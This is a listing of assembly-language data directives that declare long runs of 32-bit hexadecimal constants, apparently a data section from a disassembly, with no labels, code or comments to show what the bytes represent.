		dd 9E088E41h, 0DBC35EF2h, 0A66A6904h, 98E816F6h, 8E792685h
		dd 0C07F880Ch, 37B70184h, 8BEEFE00h, 3D161299h,	0ABCF015Fh
		dd 585C4CBEh, 0A0046AB9h, 4A4212Dh, 0F70C0037h,	66A6855h
		dd 0F402CE32h, 0B4DFFB5Ah, 0B4F889h, 56519031h,	7261A493h
		dd 742773F0h, 54C0706Ch, 188F340Ch, 20130251h, 18B6B180h
		dd 4197B80h, 16DED5BDh,	0C06B850Ch, 0E47C72C8h,	29FCC297h
		dd 7960F9CCh, 0DE18F1h,	6041014Eh, 73A98A98h, 0C00C5C2Dh
		dd 2CF0B224h, 7424E893h, 71007F46h, 722C3B44h, 234E8D38h
		dd 3675C8C0h, 7F07B93h,	59B40A06h, 28D8497Dh, 0A087E20h
		dd 0D24C760h, 146284B0h, 1758BCBDh, 203270B7h, 1DB889BEh
		dd 80F21110h, 2B88AEB6h, 4150009Bh, 14DAA74Bh, 68C669CDh
		dd 6F78AB60h, 6D621181h, 30747074h, 0BFF04803h,	0DBC05A1Fh
		dd 0BAFADC28h, 2A94B827h, 0DD079C8Fh, 0F008A82Fh, 0E4750D50h
		dd 803D4FAFh, 6894E1B8h, 0C45E0184h, 713B25FBh,	18096EADh
		dd 759C85E4h, 3B599030h, 8010A179h, 0F1F2E832h,	1EA0F930h
		dd 8FD4280Eh, 5FCB3B0Bh, 9077F492h, 0DF8E4Ch, 0B2167D08h
		dd 0FD698640h, 0CC1D81F0h, 0C600C1C4h, 0E60A7CF4h, 8BE85B92h
		dd 0C093C840h, 4D3FF133h, 90E49127h, 0D5D338h, 99C6C531h
		dd 8C4F9763h, 753F0B00h, 0C04883DBh, 0B7D9086Ch, 0FF8CF66Fh
		dd 17AB598Ah, 139F22Bh
		dd 6621E12Fh, 88DC604Eh, 0A8C84492h, 0BB68C0A5h, 0A0D110AFh
		dd 802254h, 54BAF027h, 0FD7881EFh, 14CC1558h, 80DC2B48h
		dd 7F04B8Bh, 717B4A50h,	6B692A8Ch, 0AE59AC20h, 8040B670h
		dd 0E77B273Fh, 0B173B656h, 0D307C608h, 9144095Fh, 0D61D84F9h
		dd 528F0F20h, 6466A875h, 6090D12Ah, 1F85920h, 3BEDEA93h
		dd 60688225h, 7A650C20h, 98C2D1A9h, 2AA130BBh, 92394612h
		dd 0FDC53CF2h, 0C598C3A8h, 76D7FFEBh, 5A610E8Eh, 643DDAD1h
		dd 84207090h, 0B9203384h, 8F604CC0h, 56DAFE10h,	0EB1025CCh
		dd 8582FCB5h, 520E0BDDh, 0AC6E0020h, 0BB2E7B35h, 0CA0B6F4Bh
		dd 81AD4EEBh, 69DA29F1h, 0A05FE0h, 0A46A2C59h, 92719EF6h
		dd 8274C774h, 8F97E601h, 45FDE723h, 39097868h, 247098E9h
		dd 9F674E25h, 807D114Ch, 7320DFF7h, 1345B7Ch, 0D5356834h
		dd 0F48204BFh, 0F240CADCh, 24B4218h, 0B0547970h, 4440DC16h
		dd 0FCCB34D4h, 0EC7F188h, 39D89FE0h, 0C3D5003Fh, 6AB9688Fh
		dd 0E80B7DBAh, 87820FE3h, 3BF8E944h, 2C806729h,	57EF0070h
		dd 0F8653D0Ah, 4676789Eh, 0E1DD015Ch, 6D14F37Ch, 0B08C003Eh
		dd 0C93B94E8h, 0F8797020h, 0F414F83Eh, 45320D51h, 0DF88CDB1h
		dd 0EE8CE090h, 98083F4Eh, 0B7C0062h, 73518EE9h,	28FED20Ah
		dd 0D0119865h, 88E25E71h, 630CC3A4h, 9952D94Dh,	0CC2E4B72h
		dd 6B2CECC0h, 0E885E428h, 0E8BC747Eh, 0D00BE44Ch, 4C64AF01h
		dd 0FA5101Dh, 3408E869h, 8B4513ACh, 0F690DED8h,	0BC4A6D3h
		dd 0C0B9B460h, 98FE436Ch, 0AE3C1004h, 646C09E2h, 0C8AC4314h
		dd 2DF5FBC8h, 28E43EE4h, 0A0649020h, 0FCF783D4h, 67B9CB9Fh
		dd 248CA861h, 878AC43Ch, 5F811EE4h, 0FFF366C1h,	6E6F184Ch
		dd 430039BDh, 73113013h, 393491BFh, 29EAA090h, 7409AC92h
		dd 4B784390h, 0C4A4CE79h, 7E30F5AFh, 0C90B19CDh, 7A78B747h
		dd 6A3B040h, 846C73A8h,	4802882Ah, 0A07C135h, 0C20BC06Bh
		dd 0F6C571E9h, 820D25C7h, 6D6010EDh, 9ED971Fh, 6B74B934h
		dd 514B28F6h, 40E01CD8h, 0CAAAC151h, 0BC00FE81h, 0BD19B4B6h
		dd 1D54E79Bh, 42A339C7h, 0BE452D10h, 0ECC21841h, 62514309h
		dd 0C86E2EB0h, 8E47B800h, 0D87E059Ah, 0F1E46009h, 846488FAh
		dd 0DE240909h, 0C574BC74h, 4B01D918h, 0B06593A0h, 0AC605CC4h
		dd 6D01E9E1h, 0FC612463h, 50204DD5h, 50F8A1EFh,	39053028h
		dd 0D4586F7Fh, 0EDB82550h, 3FB8A8h, 94964B56h, 6B31B462h
		dd 88F4C89Dh, 4C919Fh, 6A2FBEB7h, 10D2F3ABh, 160E45Eh
		dd 66C25F69h, 3CC13C6Ch, 8C7AECA0h, 0AA26A700h,	363E2440h
		dd 0A84F69E8h, 79D92CD1h, 5270D419h, 0FB0156F4h, 447C5397h
		dd 863CD25h, 94BDE72Dh,	0C24DCC80h, 264C746Ch, 6214CD22h
		dd 0C4D614E3h, 0C31C4D2Fh, 76B71925h, 0A0B718Dh, 0F2EA53A5h
		dd 0C0644C58h, 0C7657E00h, 0D9FC62F5h, 883C04BDh, 66D840FEh
		dd 8792BA26h, 0E09C6404h, 4CD0B273h, 0F0DF682Dh, 43A44B5Ch
		dd 9D2285A8h, 188B604Ah, 0FDC368C8h, 9928320h, 9159A4B1h
		dd 7EFE5580h, 2B00EE01h, 0F7A6FD4Fh, 9E676Bh, 65629664h
		dd 3508E139h, 3A5C4CB2h, 40483F70h, 283D49FFh, 7BBC285Ch
		dd 8778Ch, 0DD3C5C88h, 9C21C149h, 0AB710300h, 52906045h
		dd 72B60ABDh, 93E0D06Ch, 3DB42148h, 7C4A1058h, 0CD202AD4h
		dd 9E862094h, 46528F00h, 0D2327515h, 0DC53138Eh, 5098FD70h
		dd 0E4162E98h, 1C08EFC8h, 1F3A81B5h, 7FBF6101h,	0F8FD4444h
		dd 0EF048F22h, 0A9B45F41h, 103832EDh, 120D507Dh, 169786Ah
		dd 2297E498h, 5DBF20C4h, 92F8AC40h, 2862BE20h, 247C2510h
		dd 7C10EF0Fh, 1E755E46h, 0C0706943h, 9F9E1975h,	0DC942713h
		dd 89146106h, 0E1C081E9h, 0DB2B9F02h, 2E527000h, 0E6890700h
		dd 0F60D2D70h, 0CC54106Ch, 96D062AFh, 3A7200A2h, 0FC9A206Ah
		dd 0E8B79Fh, 407B2714h,	802EF43h, 81459151h, 0BBDC4099h
		dd 67A688D9h, 8C91D782h, 72BF20Eh, 1E8CC28h, 0A06096D6h
		dd 0AC216BE2h, 0EC567368h, 255C98C0h, 3C801CC1h, 0E119CA37h
		dd 6080FC4Bh, 0D8AED9Dh, 8170AAC5h, 0D0D82061h,	90852C40h
		dd 0BDB9203Ch, 0ACFC8C83h, 8C7EF88Ch, 45BC0C07h, 88BC6233h
		dd 6700EB40h, 0CD01ABB9h, 7135938Dh, 0AC688A94h, 0C330D6EDh
		dd 3A9624B8h, 0FB0C422Ch, 56A0208Eh, 83095D9Ah,	7E21B900h
		dd 0F2CB3D44h, 559D032Ah, 0E6A456BDh, 787401B2h, 88D41725h
		dd 3361F5AEh, 76C2A4EBh, 56B7803Ch, 0D94AF946h,	3D257F0Eh
		dd 0BF8B40BDh, 75243Bh,	42CE91E4h, 5470F08Dh, 40ED1024h
		dd 960D3584h, 7953BD00h, 0C200AA43h, 36EF10D6h,	22CFFD1h
		dd 0C9355F9Ch, 60F0F5F2h, 86C10C18h, 0E4271BC0h, 0AD132C05h
		dd 6C806994h, 85E29D88h, 20D5D32Fh, 0DFC78D8Ch,	16B49A7Ch
		dd 0A16AB461h, 5879E4E0h, 0C9BAD27h, 228C10B4h,	34B09922h
		dd 0C6314827h, 461168Ch, 3BD4806Dh, 336718C9h, 5794AC59h
		dd 29B61302h, 0EA9560C0h, 67110C17h, 0CA4B08A2h, 0CF5FC8A8h
		dd 0D8F5E6E6h, 98F65722h, 8E3CBCB4h, 0FD83C08Eh, 680C6AD9h
		dd 0B1DD73B7h, 0E9E410D7h, 0C143094Dh, 0F9C51C8h, 4AD0423Dh
		dd 0BF8030DBh, 4133AF22h, 0A4821300h, 1462534Dh, 0F0099525h
		dd 0FA0934C5h, 0D92CD9E8h, 0F65C185Eh, 19EF0955h, 28599479h
		dd 4165F908h, 4C1D16Bh,	0C3B34081h, 97895412h, 262F9CC4h
		dd 114BD62h, 0ADB460FFh, 246505FBh, 0EE23F03Ah,	0B5555B00h
		dd 84ECA65h, 0E96EB7D7h, 27F5889h, 0F4CB134h, 56BA0925h
		dd 0E8F2FCh, 0F27C0168h, 0E3D8E721h, 3007469h, 49FCFF87h
		dd 0A4009B31h, 0C7764ACh, 160D5190h, 0A81DA172h, 8FEC81FCh
		dd 0E6AC562h, 0B140F114h, 9EF09D51h, 4420E1B5h,	6A3FE4h
		dd 1C3368A3h, 0F9739A83h, 508B935Ah, 0FCCA5F88h, 3997E605h
		dd 0B24A18EDh, 79007DACh, 0FEA890DCh, 714CB753h, 0C86AF96Eh
		dd 85101040h, 700BE817h, 0C7C2D6Ch, 4FA56202h, 37F602BDh
		dd 465EEC74h, 7E8A0180h, 0F8496D7Ch, 0B4CC203Bh, 5801DC3Ch
		dd 6A0D5C17h, 74F02369h, 63983EE3h, 0BF4E6588h,	919C172Dh
		dd 0AB8680ECh, 5ABB40B1h, 6F288832h, 2BB52800h,	951EAF30h
		dd 3B79F8h, 0C574E3C7h,	8220132Eh, 0E8EC664Ch, 7E508CACh
		dd 681331F8h, 0F8B29270h, 29305DE2h, 2BF813FBh,	64CCB1D7h
		dd 2D106634h, 0F409C735h, 0A4C08073h, 8D0FD2E8h, 6B56207Ah
		dd 9FC0315Ch, 0BB0B6618h, 0E54C1085h, 0EE4D80C4h, 4F9F63BAh
		dd 490B6216h, 83F0C8h, 4DE08477h, 3CDFFEFCh, 0E338AD03h
		dd 0F9422A71h, 10D9518Eh, 0B1988088h, 412D8C3Bh, 7CF2B0C0h
		dd 4D3C330Ch, 0E4859EE9h, 59008E60h, 70BD1897h,	614936h
		dd 0C2F3884h, 15566D9Fh, 0B6C28028h, 0DCA07E5Bh, 0B20E88BEh
		dd 11883802h, 0F4E460B4h, 968AC24h, 644A8A0Ch, 50616449h
		dd 228796E4h, 0C7675025h, 637CC4D0h, 0C7C8A07Eh, 721E0084h
		dd 1B456986h, 315324E1h, 39D8333Ch, 6AAE91E7h, 48297039h
		dd 1894D940h, 0C1B13F4Ah, 82980C2Ch, 0F8DD14E7h, 344FA064h
		dd 84C9280Fh, 1502FB19h, 800CE04Dh, 0C1748868h,	8195DCF2h
		dd 3C96B604h, 87F8D42Fh, 0AC5AEB60h, 0E82BA510h, 9D8BA26h
		dd 14CC5B9Dh, 9170179Fh, 0B290835Fh, 13C9880Bh,	246158D7h
		dd 0C8CEDF8h, 0B1700D78h, 6077D2B8h, 0DD2180FBh, 5CB3474Fh
		dd 1BAC0058h, 0A721E42Fh, 3B053D86h, 8848B104h,	546C7C02h
		dd 0BD459FCh, 4C4AB1Ah
		dd 70181D62h, 6010FC7Ah, 3A74F8B7h, 0D322AA00h,	0FAC8E2B6h
		dd 10E44CF5h, 809E8A84h, 54711E14h, 58FDB925h, 85DE38B8h
		dd 4EC8032Ah, 951C225Bh, 38F90C24h, 8D016E38h, 574BC59Dh
		dd 0B015FC19h, 0E091CF0Bh, 0F5038373h, 705828FFh, 50D1003Ch
		dd 4F491DBBh, 0F200BC0Bh, 2E3507E1h, 78D0EFC2h,	0D020E5Fh
		dd 470D9A8Eh, 0E0E07689h, 5E3A828h, 2D0AB989h, 0A2B0D2DDh
		dd 2BD7C41h, 50451A36h,	7A6094C4h, 705AB72Dh, 6A0FEC42h
		dd 0A0A0584Fh, 817E24FCh, 446E2EADh, 9A092100h,	7999B57Bh
		dd 3A584900h, 0DC946A89h, 26670552h, 0B03743BFh, 0A0B644F0h
		dd 0B97C92h, 95B72F7Eh,	99000451h, 4AF18915h, 647BD1h
		dd 389B9ABBh, 0F4E93BCAh, 9DB08160h, 113E70Ah, 0F5C76836h
		dd 2B3A9687h, 0A2BCCCh,	9F7DA0F7h, 0E2890142h, 2D95089Eh
		dd 646E5B80h, 0E2427500h, 0FADC37D7h, 7305D0BCh, 0CCCF464h
		dd 0FFF840F3h, 7808D8BCh, 0E87C96A3h, 82E85CF0h, 348C9FCh
		dd 0DEE42CD9h, 0F773C10Ch, 783D711Ch, 0EB582700h, 373F1B4Ah
		dd 5F12E477h, 0C4F0135Ah, 391C40C4h, 62449304h,	88D0F1E4h
		dd 40D07919h, 0C83CE57Ch, 0EA542FC9h, 0BD0FC10h, 0D8E768ADh
		dd 4160F264h, 9E77EA4Ch, 5074F702h, 5E0DF6E4h, 5778618Ch
		dd 38C87BF2h, 0F43A014Bh, 0AFA0C5C3h, 70F080B3h, 6DF94595h
		dd 476AE1AEh, 1008D62Ch, 8CF73A46h, 74F92E00h, 1196B131h
		dd 51E0600Eh, 9F1CBCDDh, 0F43BCE00h, 0E60A7DB8h, 3FB105A2h
		dd 8CB9A5F0h, 5600D49Ch, 1ED57A92h, 628F38F7h, 94302895h
		dd 5E713C51h, 9012D118h, 68049553h, 0EC16351Ch,	82FDC980h
		dd 0D9CA8h, 9953ABEFh, 3C8AC500h, 74FDFA85h, 0D28304DBh
		dd 0F957E734h, 448B814h, 6F29C45Eh, 4F6CA3C9h, 40005C6Eh
		dd 297532D2h, 437D4FF2h, 493D6809h, 91904EC7h, 1880D194h
		dd 839B0076h, 1B216F67h, 8C4B50E9h, 25C32CC8h, 0D8593EAEh
		dd 0F9B96680h, 0F8FC629Dh, 8B089C6Ah, 34794C58h, 0EA528F40h
		dd 602094A5h, 6CF6BBB1h, 9D957C92h, 807C11ACh, 504F8171h
		dd 70EE1C18h, 0FCD714FBh, 0A97C4C18h, 7A12B16Eh, 0AC08690Fh
		dd 0E0956BC6h, 0FE80EF91h, 162E3779h, 85E25604h, 0D8E2C493h
		dd 62FC3426h, 0E5018310h, 0C52E599Dh, 0E3D4E690h, 841AC025h
		dd 8B2F0128h, 16EAE87Dh, 0B80B2AA4h, 0A5FCD950h, 7F918415h
		dd 28F6318Bh, 9C2D0Fh, 0D9F6B18Ah, 7C1C9E67h, 4006146h
		dd 255E7F9Bh, 185C6B94h, 0E50E02EAh, 0CA88BFC7h, 44A8C788h
		dd 0C33760EFh, 0FB9A0287h, 9B8D66D2h, 672C21FFh, 62D0F2BAh
		dd 1FBC9077h, 96118E5h,	83867E52h, 3B2030EDh, 40B09EC7h
		dd 64782A34h, 3DDA7700h, 6F2B0718h, 0AC6260C1h,	0CC059849h
		dd 505C134Ah, 95E69E42h, 0E4CC6581h, 921A63ECh,	0E29443D4h
		dd 0D33D1088h, 60F94CB1h, 6F00E918h, 32DAB96Bh,	0FC198Fh
		dd 0DBE8BAA7h, 4D0F94FBh, 430A34Fh, 0BD746CF5h,	7FB1D868h
		dd 0CA7B8C02h, 0F7010463h, 9E6600A0h, 75018735h, 4854302Eh
		dd 0C3CA65Ah, 3D09423Ch, 30D69466h, 0F2D800D6h,	0B497A09Ch
		dd 0D42FF53Ch, 41C8F8B9h, 0C81441F0h, 0E0C1042Eh, 242DF53Dh
		dd 3A1BBD10h, 0A0A28050h, 737066A6h, 972C7E54h,	8F04FC4Eh
		dd 0F488B962h, 9C610842h, 391710DAh, 0D4E198E1h, 0D700233Ah
		dd 1E322BD8h, 0DBBBC800h, 26F190E8h, 463C3698h,	0C51458C9h
		dd 0FCDC83D9h, 68008C63h, 0BE1ED83Ch, 3C10F818h, 0B862C535h
		dd 8C644CF6h, 735E3E05h, 44A73B38h, 0F0B86048h,	5019018Ch
		dd 14ED4B93h, 80543006h, 2C0E9140h, 0CCEF59h, 0D8656E0Ah
		dd 0A212969Dh, 0B8C039AFh, 1F755E52h, 0F5F721h,	0C1353DB7h
		dd 0E0B65460h, 83DC88h,	0E2CAC088h, 3601534Ch, 2025BF39h
		dd 0FF4F950h, 7B682747h, 4C9D9079h, 3D0C6184h, 285A40B8h
		dd 6B3565FCh, 0B711AFh,	431C4E8Ah, 3010E07Fh, 0F43AA49Ah
		dd 89D0C1DAh, 0D1E8034Ch, 543C72B6h, 0C9C58899h, 2D3068AAh
		dd 38CC88E4h, 0F9920C6Eh, 3B5D20E4h, 6B1224F8h,	5840099Ch
		dd 0AD688C2h, 0F41F259Dh, 7C82005Ah, 1EA8807Dh,	9F4AA10Eh
		dd 3B0B6066h, 0CE4C85C9h, 4308963Ch, 0DBA0E3BBh, 20A51DF4h
		dd 7D3CD904h, 21D1B446h, 645CD5F9h, 0A714D98Ch,	43A8F082h
		dd 90962870h, 0F3E67080h, 707082BDh, 8D0A01B2h,	0BAA850A2h
		dd 213414C2h, 42C56167h, 0D1C1DC40h, 5C0372EDh,	0AD0CB152h
		dd 0DB79450Ah, 4EA6FA00h, 0F4E73740h, 204918C9h, 8401200Ch
		dd 622C1300h, 0D814407Eh, 0A6D01D0Ah, 168213B7h, 6A04A4A3h
		dd 80FEC33Fh, 0E7F84357h, 4A1C8DEh, 2F68CFEAh, 3000909Fh
		dd 9600810Ch, 0AD6946B1h, 0BDC06529h, 245DBCE2h, 0C05EBD1Ch
		dd 8BD906D8h, 6A2A2871h, 602EB895h, 1C1D8F73h, 1800931Dh
		dd 3AE75A02h, 0F9C03F0h, 61522EBFh, 722D9974h, 12CC465h
		dd 0F92FAE09h, 0DE7AB7D1h, 0E965A858h, 10887810h, 0FE7D0160h
		dd 4398396Bh, 0D0452B94h, 28686327h, 534CB2C1h,	948028E8h
		dd 9838FA80h, 80503D4Ch, 0B24DED73h, 0A7FB1D2Bh, 0E4F70AC2h
		dd 603A4084h, 722B919Dh, 0B3404069h, 94E3F6B5h,	52EF80E4h
		dd 96BF0B0Fh, 0FF8E5F0Bh, 0B374CBC2h, 0E6F812F8h, 6E5424A0h
		dd 7BB70A3Ch, 0C284A405h, 8C888BA2h, 336C3A66h,	20F23452h
		dd 360A817h, 741C51CFh,	9083969Ch, 8150D100h, 0BE09E014h
		dd 6F62142Fh, 0AD744889h, 0B0D091BCh, 0C2C56965h, 80C02561h
		dd 0F8050842h, 0D3A84FC9h, 42963918h, 815C449Dh, 0B4081754h
		dd 9E3C640h, 0EF675C8h,	0B5434048h, 3B3DE914h, 0D37700D5h
		dd 0AB7085D8h, 7091D4F6h, 0B4793205h, 22C0BCFFh, 0D8690FEEh
		dd 3E8A72C2h, 209A6520h, 0E57ED9BCh, 5149C7E8h,	0DC004A9Ch
		dd 91299524h, 49C372C0h, 680B1090h, 0D85CFC20h,	0EA3F4057h
		dd 3530DDD3h, 83108C3h,	64EFF0D4h, 46271078h, 20081579h
		dd 33312075h, 0AF9C20B7h, 91940888h, 8C14808h, 0CB0C6CBDh
		dd 0C4C249DBh, 4BA9908h, 606B05Ch, 8A315026h, 0E543080Fh
		dd 0CE14188Ch, 0D2407908h, 2024670Bh, 0DC0D9893h, 77211007h
		dd 79B11098h, 18C414F4h, 406E423h, 0FB631003h, 10E66149h
		dd 31B17F08h, 2EB841E3h, 0CCEE9430h, 3C814821h,	0AD182D63h
		dd 2F481011h, 8D407085h, 1BAA405Fh, 4025DC40h, 0D4405440h
		dd 63D1CAE9h, 0A69A8894h, 2AACEC15h, 0DFE8046h,	0CA189980h
		dd 98C0E108h, 0BD8E49AAh, 81E36580h, 0D9D98818h, 7ECD08B8h
		dd 1805313Ch, 60038937h, 0D5A82910h, 0E1096233h, 0CA822910h
		dd 0B82C0A18h, 99807428h, 0E810CF3Eh, 0BB528B8h, 122708C4h
		dd 28869B06h, 9FF14A65h, 3F72E846h, 0FC8D2010h,	8C416C63h
		dd 13103370h, 6110BA81h, 661909D6h, 0FF0318C8h,	532118A4h
		dd 2480811Fh, 8E40BA10h, 0A2A34019h, 0CD70C0A8h, 10374382h
		dd 2ABEEE28h, 0F432E827h, 4897181Ah, 81835810h,	8AA188F9h
		dd 0EC4415C6h, 4092407Bh, 1EB699C6h, 4C79C639h,	0D2351013h
		dd 9046B9DBh, 201072F5h, 0F75428EBh, 0ECA850CCh, 0D2838586h
		dd 1B7703A4h, 65FDB120h, 4426A9B9h, 0C8FC7C8h, 629F210Dh
		dd 7652088Bh, 69E1002h,	61326943h, 0AF7D0877h, 1B49F8C0h
		dd 0E2F580B8h, 816E1880h, 6E8510Ch, 0E3288838h,	463B1291h
		dd 1832DA10h, 627C0C20h, 0E51209BDh, 66F4D02h, 30208962h
		dd 0BB8720D2h, 54934520h, 0A864E829h, 807DDEA4h, 8CAE035h
		dd 0C9B9F0AEh, 7B0810C4h
		dd 18102C18h, 0A8033F0h, 895481CCh, 0A4A25DA9h,	0D91D8834h
		dd 247A3025h, 75622F80h, 3CAAC08h, 201A164Bh, 25319518h
		dd 0CC44C4F8h, 0DC099612h, 4C535425h, 0AB712A84h, 0D347DCA9h
		dd 4C7AFF82h, 7414604h,	48A0E80Ch, 30AFF0CEh, 0D110DD13h
		dd 8901144Eh, 6CB36AE9h, 0CDDD2B9Eh, 2C126864h,	0B68DDh
		dd 0ACBB50A7h, 3B0E5E9Ch, 8283CB8Ah, 0C677EB18h, 98B0B8h
		dd 0B6C4B779h, 43FF4D37h, 7E527018h, 0EDAB6550h, 307C903Dh
		dd 6B1857C1h, 3A3D1F45h, 7C805BD9h, 0FB2BAD1h, 682A7493h
		dd 25170C42h, 0BC0330F2h, 48097F59h, 1A4810F6h,	0F167339h
		dd 18E4CE69h, 0EBAF0943h, 728CD93Eh, 8FE0B458h,	80B59DF0h
		dd 1C1874C4h, 49A0089h,	0AE1E8859h, 0D1863F8h, 5F70DE43h
		dd 0C11C002Bh, 32C221EDh, 4100BE0Eh, 2E8992B1h,	0A468A2h
		dd 25C4F5B8h, 0F74DB6EFh, 9D6F3Eh, 867A95Eh, 3B74FF94h
		dd 0B8802016h, 0C6D7E88Ch, 9F3C0121h, 68C0F513h, 0ED602C4Fh
		dd 0E1A82CBCh, 7D7800F3h, 4132B047h, 0D9A10D00h, 0A86882ABh
		dd 3CB91C99h, 0B0ADC066h, 6E1ECFFDh, 97B63400h,	0A015DCD0h
		dd 13BD01D9h, 0CB187E51h, 0F86FC08Ch, 19030892h, 0E55EB229h
		dd 48A09D13h, 583913BAh, 6C6CA07Bh, 9483F328h, 1E8DBF40h
		dd 808A8BB1h, 0A11C34E6h, 0E13810B8h, 402C15A9h, 5CBE2EC4h
		dd 0B82BCF87h, 0FF0B84h, 0CB523BE0h, 0F8447CE8h, 70BA169Fh
		dd 0ED38E090h, 0DE309E70h, 583D405Dh, 0EA9400C3h, 0CD68984Ah
		dd 0F8784BF4h, 75084100h, 612BECF1h, 0A6661772h, 0D918307Fh
		dd 10C37B07h, 0C1FD1F42h, 7A00DE75h, 5819652Bh,	0DBE1923Eh
		dd 0D1E701h, 0F05B2975h, 10F96682h, 220214Ch, 0C0F64FC4h
		dd 6376A240h, 0CB731C18h, 0C2524320h, 7FE1FE51h, 18F87088h
		dd 40E9965h, 10B35A07h,	840159ACh, 57F0F47Dh, 0C18A088h
		dd 0CA3844FFh, 1A13401Eh, 179D4A5h, 37ABCA3h, 1043C65h
		dd 184D509Fh, 3C58EF41h, 423F807Ah, 393BCB14h, 0FC9C00BCh
		dd 0D940DC37h, 1C209425h, 822412ABh, 4CD83844h,	48C73F09h
		dd 68B022CBh, 5A444A3h,	0E1FD6CEEh, 1D70487Eh, 70020C64h
		dd 0E885860Ah, 729821F0h, 0BA41D0EBh, 7594949Eh, 0E0A200A0h
		dd 11A71A1h, 48F06043h,	0E92D8958h, 751F7600h, 7E725928h
		dd 28687783h, 20B8E371h, 0F4264E30h, 20A56C15h,	1C1B5DB8h
		dd 0FE83300Dh, 0D4E2B110h, 335FF81Fh, 0DD60F032h, 0D6E78000h
		dd 7018AFF3h, 0C7B03C4Ah, 63CB1F88h, 640FA069h,	805C480Dh
		dd 0F2C60EF5h, 4F981EC3h, 21A1800Fh, 0BB7F0C41h, 0C1255701h
		dd 7790D9D4h, 3F022424h, 110440BEh, 0D037D66Ah,	70CB5A4Ch
		dd 1196FE33h, 8A51C14Ah, 0D60F3D0h, 0B6BE0D18h,	0BC99FEB8h
		dd 0EFF020C1h, 393A7134h, 8554EC00h, 38E192AEh,	0FE19A51Ah
		dd 2010D866h, 6E4C6034h, 0BB842F0h, 8BC7669h, 0DB08A0A9h
		dd 87BA9655h, 0A00B88Ch, 0A3FF3EC1h, 48EF1A85h,	0F4567198h
		dd 0E8ADE01Eh, 0BFA0FFDCh, 0B4F0300Bh, 3F634DE0h, 0B3B12C10h
		dd 0B041F077h, 0D62E04F3h, 83CDE883h, 1149F4DCh, 309E2420h
		dd 0B8015FC9h, 824EFA70h, 86A9EF78h, 42A84CE8h,	0D088801Eh
		dd 0DA7E296h, 0E5EF79B7h, 24DFCC20h, 9E0F748h, 30CAF23Bh
		dd 4885AA04h, 0CC264E8h, 5F009B10h, 38C31C7Bh, 58815692h
		dd 37277268h, 2421F017h, 0DAA8B303h, 31A5ACEDh,	2EE86789h
		dd 0C031F181h, 0C4AA1721h, 4EADF487h, 2B028CC3h, 9980616Ch
		dd 548E706Ah, 7B6D3C62h, 445B0Ah, 0E11441D4h, 0F4134F52h
		dd 1C440E85h, 0E80086DBh, 5BB7D8E2h, 9B55A09h, 0F1480191h
		dd 81EB2CF6h, 888152C4h, 0BB84D6E8h, 0C8526002h, 0B5667703h
		dd 0A7118BFFh, 12EEE003h, 13F3CC8h, 27D93B48h, 42243545h
		dd 0D285BC84h, 92D424EFh, 0E70EE2E4h, 35808AA1h, 7113C165h
		dd 0D908A069h, 7802BF14h, 0EC40A29Dh, 0D1CB4FDh, 0A50074B3h
		dd 6218EB5Ah, 0C0A3387Bh, 2C543BBBh, 3938A16Bh,	0E3101881h
		dd 0FC49269Dh, 77E4AFE8h, 30A71D00h, 110E74EDh,	0FBA10062h
		dd 0EB178B52h, 0F5036455h, 8ED93C05h, 518800AEh, 0FA2963DBh
		dd 0F201EDBBh, 0D02F43BFh, 3C3C0713h, 263CD068h, 9C2327E4h
		dd 0ACF359E7h, 0FA1CF4E0h, 0B60E548h, 0A47B7FA4h, 84801040h
		dd 4841C860h, 0A8C8BCB5h, 64135C24h, 843B2C49h,	4C90ED04h
		dd 0B072EC52h, 24E492B4h, 0C0788951h, 0AA300549h, 13776809h
		dd 851858F3h, 8BB28090h, 0DBE932FEh, 70B77B04h,	248256D8h
		dd 0BF206058h, 689600EEh, 2FA37D76h, 171393Fh, 0C009E533h
		dd 7998989Ah, 0CFB08E9h, 0B81A7E94h, 62148228h,	82D008B3h
		dd 1241A2BEh, 5F20BC64h, 0FFEF2063h, 0D9186590h, 15C9BB08h
		dd 81C109E4h, 0D8006884h, 0F5FD177Fh, 3F389491h, 10F4B0A9h
		dd 91297BE2h, 82E80AF4h, 0FB6E4288h, 903D6060h,	24BA90A4h
		dd 9FE03E4Ch, 99100D45h, 0E8300090h, 0F7D23213h, 0C04293A9h
		dd 50CD4C64h, 9C26C843h, 4ABCCE82h, 0BCC31104h,	30287032h
		dd 39B08DF1h, 0EB13B943h, 4803140Eh, 836AD8A8h,	998DEDCh
		dd 0AD9C8330h, 1E7E1880h, 0E008127h, 9D873EE0h,	185A767Fh
		dd 590BE4F5h, 0C8A007FDh, 0BB0062A6h, 0FEC16E8Fh, 16086885h
		dd 0A66AF97h, 82C4B1B4h, 5B9570B9h, 0CAF3F481h,	512EE1D4h
		dd 5E756AFCh, 0F14455A4h, 108433D4h, 0B9004C70h, 36F7FB9Eh
		dd 0ED7DD7A9h, 0FF40C800h, 13C6111Eh, 2823609Ah, 691AAC50h
		dd 7168F700h, 0D960E8A2h, 347254AAh, 0D8903F64h, 572F207Ch
		dd 1380F64Ch, 0D8A40D68h, 377019BBh, 0F066B87Fh, 6181B5F1h
		dd 2883D847h, 0E4101EB2h, 0AE21C8Ch, 1946289h, 11B3852h
		dd 9FC4243Ah, 142D1701h, 897DD964h, 0E826BB07h,	0A54879F7h
		dd 0ABED00D4h, 0A10CA77Fh, 813900A8h, 0D2E8EB12h, 84001576h
		dd 3B3C6D25h, 2448B141h, 0A09C22h, 0FD5373CCh, 0C7EF0E7h
		dd 85980465h, 1316CC5Ch, 78680047h, 9073963h, 0F7477E20h
		dd 6028782Ch, 0B0DE4B8h, 30133E01h, 5457D9DCh, 788E90F9h
		dd 25E3121Fh, 92C8A69h,	66AE1E0Ch, 9CB94884h, 0ED871308h
		dd 47C9431Dh, 2048D856h, 0D8B0D9CDh, 5E146917h,	5064D404h
		dd 40D6507h, 5C9093ADh,	0E84482CFh, 0A65F9846h,	572510A2h
		dd 732E90D8h, 70056E46h, 0C95F71Ah, 90317091h, 7449A876h
		dd 0C1DB4F7Ch, 3015CEF4h, 0F41E6C44h, 62986A12h, 38148118h
		dd 138AD8DFh, 889C9FFCh, 0E8B2FF7Ch, 0C1C714Fh,	4DC185CAh
		dd 0C13A220Fh, 0A404F617h, 7C882B75h, 0D8B8A132h, 834BBC60h
		dd 5067A930h, 0B6967073h, 14243B78h, 4E0908A8h,	54A8FE00h
		dd 18376324h, 5CD5D88Bh, 1F1EF2B7h, 0C91DE8F9h,	53C4DC41h
		dd 0EC204615h, 0E0B8B0DFh, 0FB0101B4h, 0C76A196Ch, 7150807Ah
